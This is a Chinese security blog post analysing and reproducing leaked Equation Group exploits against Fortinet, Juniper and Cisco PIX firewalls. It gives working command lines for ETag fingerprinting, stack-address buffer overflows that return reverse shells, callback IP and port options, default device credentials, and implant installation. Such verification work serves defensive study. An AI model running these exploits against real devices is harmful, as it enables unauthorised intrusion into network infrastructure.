NSA(美国国安局)泄漏Exploit分析
*本文原创作者:tigerlab,本文属FreeBuf原创奖励计划,未经许可禁止转载
2016年8月16日,黑客团伙“The Shadow Brokers”声称自己入侵了“Equation Group“(方程式组织),并将他们从该黑客组织的计算机系统中所获取到的部分黑客工具泄漏在了互联网上。
泰格实验室第一时间对此次泄露的文件进行了深入分析,多数漏洞的验证分析情况已有同行分享,现将我们对另外三个未见分析的漏洞的验证分析分享给大家,其中包括fortinet、juniper、Cisco三种设备漏洞。
1、fortinet漏洞验证
该漏洞主要是Cookie解析器存在缓冲区溢出漏洞,远程攻击者可通过发送特制的HTTP请求利用该漏洞执行任意代码。
CVE编号:CVE-2016-6909
以下版本受到影响:
Fortinet FortiOS 4.1.11之前的4.x版本, 4.2.13之前的4.2.x版本, 4.3.9之前的4.3.x版本, FortiSwitch 3.4.3之前的版本。
漏洞验证过程如下:
获取目标etag 判断版本类型
curl -X HEAD –v http://xxx.xxx.xxx.xxx/
Etag:480d772a
如果etag小于4DXXXXXX,适用版本 3;
如果etag 大于 4DXXXXXX,判断是否需要cookienum
curl -X HEAD –v http://xxx.xxx.xxx.xxx/login
APSCOOKIE=0&0 ,在执行命令时不需要设置cookienum
APSCOOKIE_2930800995=0&0 ,在执行命令时需要设置cookienum,且版本为4nc
测试etag小于4DXXXXXX,且不存在cookienum
1)获取溢出地址
判断etag是否在存在于配置文件EGBL.config中,例:
如不存在可通过以下命令获取堆栈地址:
./egregiousblunder_3.0.0.1 -t xxx.xxx.xxx.xxx-p 80 -l 5432 –ssl 0 -v –config ./EGBL.config –wam 10
该命令只适用于etag小于4DXXXXXX,且不存在cookienum,在其他版本中均失效,无法获取堆栈地址。
命令执行如下:
成功获取堆栈地址 0Xbffff274
2)执行shellcode,返回shell
可通过直接传入stack堆栈地址来反弹shell,
./egregiousblunder_3.0.0.1 -t xxx.xxx.xxx.xxx -p 80 -l 5432 --ssl 0 -v --stack 0xbffff274 --nopen --gen 3
也可将etag写入配置文件
ETAG = 480d772a : 0xbffff274
./egregiousblunder_3.0.0.1 -t xxx.xxx.xxx.xxx -p 80 -l 5432 --ssl 0 -v –etag 480d772a --nopen --gen 3 --config ./EGBL.config
已成功返回shell,执行-ls命令获取文件目录信息。
本次测试主要低版本的飞塔设备,etag小于4DXXXXXX。由于未深入该漏洞exploit溢出过程,所以针对其他版本无法通过命令获取stack的,通过配置文件中的内存地址遍历进行了测试,也可以成功反弹shell。
2、juniper漏洞验证
该漏洞需要先获得juniper设备口令,在根据设备版本型号进行攻击,获取系统权限。
telnet登陆获取设备版本信息
设备版本号是ssg5ssg20.6.1.0r2.0,查看Dats里面是否存在该设备文件
漏洞复现
在BARGLEE文件夹中BICE-3110是juniper漏洞利用程序
./BICE-3110 -R *.*.*.* //目标ip -D 127.0.0.1 //接收反弹shell 主机ip -d 5555 //接收反弹shell 主机端口 -m telnet //登陆模式 ssh/telnet -t ../..//Dats/ssg5ssg20.6.1.0r2.0.xml //攻击代码配置 -u netscreen //设备账号 -p netscreen //设备口令
成功之后返回设备基本信息,可选择2种shell权限,juniper交互shell及BI shel
Interactiver Console 实际就是juinper telnet进去之后的命令操作。
BI shell
可见可以执行的选项共有6项:
返回目标状态 卸载BARGLEE 安装BARGLEE 读内存 写内存 命令执行
根据script中BARICE.txt安装说明,尝试进行barglee植入
多次尝试bin文件类型,均未能成功植入,不能对其进行深入性分析。
3、Cisco EPBA漏洞验证
该漏洞与juniper一样需要先获取设备口令,之后通过溢出攻击获取系统权限。
漏洞复现
显示结果为received mtu – EPBA: ok, payload: ok,表示溢出成功。
与此同时,PIX722 防火墙控制端则会显示缓冲区溢出
接下来我们根据操作提示执行bride-1120这个脚本, 在执行“1”选项后可以判断是否正常连接,连接成功则返回Session D-H Key
执行“8”之后可以查看BRICE的自带shell功能。
多次尝试写入BatigerlabnanaGlee提示版本不对无法写入。
分析发现其读取目标文件前4个字节来得到版本号,通过对文件夹内所有文件进
行了搜索也未找到合适的植入程序。
总结
本文主要分享的是forinet、juniper、cisco三个漏洞利用文件的验证思路及过程。在
分析过程中我们进行了大量测试实验,想尽可能还原其整个攻击流程,但由于部分关键文件缺失,未能继续对其进行完整分析。如果有小伙伴有更好的分析思路,可与我们交流。
*本文原创作者:tigerlab,本文属FreeBuf原创奖励计划,未经许可禁止转载
- OpenStack与SDN控制器的集成
- 使用机器学习算法对流量分类的尝试——基于样本分类
- 曾经做过的40道程序设计课后习题总结(一)
- 基于ODL与Pica8交换机端到端的限速实验
- SpringBoot就是这么简单
- SpringData JPA就是这么简单
- Openflow细节理解之—Buffer_id篇
- 移动商城项目总结
- 移动商城第一篇【搭建项目环境+数据模型】
- 移动商城第二篇(品牌管理模块)【文件上传、数据校验、CRUD】
- 手把手在亚马逊EC2上搭建Keras GPU
- 移动商城第三篇(商品管理)【查询商品、添加商品】
- 移动商城第四篇(商品管理)【添加商品续篇、商品审核和上下架、前台展示、后台筛选】
- 移动商城第五篇(用户模块)【用户登陆、回显用户、拦截器、收货地址】
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 用ORCA做结构优化及轨迹查看
- 前端兼容之痛
- 离线安装PySCF程序(1.5及更高版本)
- Python Debug(调试)的终极指南
- Linux下做计算常用的别名alias推荐
- 离线安装支持Intel MKL的R-3.6
- Dalton使用——磷光及其相关过程
- 【赵渝强老师】Flink的Watermark机制(基于Flink 1.11.0实现)
- 在Windows CMD里“使用”常见Linux命令
- 什么是Python中的Dask,它如何帮助你进行数据分析?
- a[i] = i++ 到底对不对?
- 如何监视Python程序的内存使用情况
- df -h和du -sh看到的硬盘使用不相等?
- MyBatis 中的一级和二级缓存
- 使用Cython加速你的Python代码